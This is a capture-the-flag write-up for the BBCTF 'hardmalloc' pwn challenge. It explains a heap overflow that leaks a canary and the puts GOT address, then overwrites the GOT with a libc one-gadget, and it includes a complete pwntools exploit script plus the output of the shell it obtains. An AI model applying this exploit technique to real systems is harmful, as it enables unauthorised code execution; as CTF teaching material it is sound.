Rating: 5.0

# === hardmalloc (Pwn: 4 solves, 300 pts) ===
by mito

```
*************************
* *
* Welcome to BBCTF *
* *
*************************

1. Create a block
2. Print a block
3. Write to a block
```

This is the content of the heap memory of each block.
```
0x7ffff73f0060: 0x3636363636363636 0x3636363636363636
0x7ffff73f0070: 0x3636363636363636 0x3636363636363636
0x7ffff73f0080: 0x0000000000000000 0x0000000000000000
0x7ffff73f0090: 0x0000000000000000 0x0000000000000000
0x7ffff73f00a0: 0x0000000000000040 <= size 0x00000000ce0a7b0a <= canary value
0x7ffff73f00b0: 0x00007ffff73f0060 <= pointer 0x0000000000000000
```

#### 1. I can change the block size to a large value using "3.Write to a block" function.
#### 2. Then I can read canary value.
#### 3. Next I can read the value of the GOT address by rewriting the above pointer.
#### 4. I can calculate the libc base address and one-gadget address.
#### 5. And I can change the value of the GOT address to one-gadget address.

Exploit code is the following.
```
from pwn import *

#context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './pwnable'
elf = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "13.233.66.116"
PORT = 6000
s = remote(HOST, PORT)
libc = ELF("./libc-2.23.so")
else:
s = process(BINARY)
libc = elf.libc

def Create(size):
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Enter buffer size:\n")
s.sendline(str(size))

def Print(index):
s.recvuntil("> ")
s.sendline("2")
s.recvuntil("Enter index:\n")
s.sendline(str(index))

def Write(index, size, data):
s.recvuntil("> ")
s.sendline("3")
s.recvuntil("Enter index:\n")
s.sendline(str(index))
s.recvuntil("Enter size:\n")
s.sendline(str(size))
s.sendline(data)

Create(16)
Write(0, 0x11, "A"*16+"\x20")
Print(0)
r = s.recvuntil("***")
canary = u32(r[0x18:0x1c])
print "canary =", hex(canary)

buf = "A"*16
buf += p64(0x10)
buf += p32(canary)
buf += p32(0)
buf += p64(elf.got['puts'])

Write(0, 0x28, buf)
Print(0)

r = s.recv(8)
puts_addr = u64(r)
libc_base = puts_addr - libc.symbols['puts']
#system_addr = libc_base + libc.symbols['system']
onegadget_addr = libc_base + 0x45216
print "puts_addr =", hex(puts_addr)
print "libc_base =", hex(libc_base)
print "gadget_addr =", hex(onegadget_addr)

Write(0, 0x8, p64(onegadget_addr))

s.interactive()
```

```
$ python solve.py r
canary = 0x3b2a3ced
puts_addr = 0x7f8ada20c690
libc_base = 0x7f8ada19d000
gadget_addr = 0x7f8ada1e2216
[*] Switching to interactive mode
$ id
uid=1000(bob) gid=1000(bob) groups=1000(bob)
$ ls
$ cd /
$ ls
...
flag
home
...
$ cat flag
flag{cust0m_m4ll0c_4_tw}
```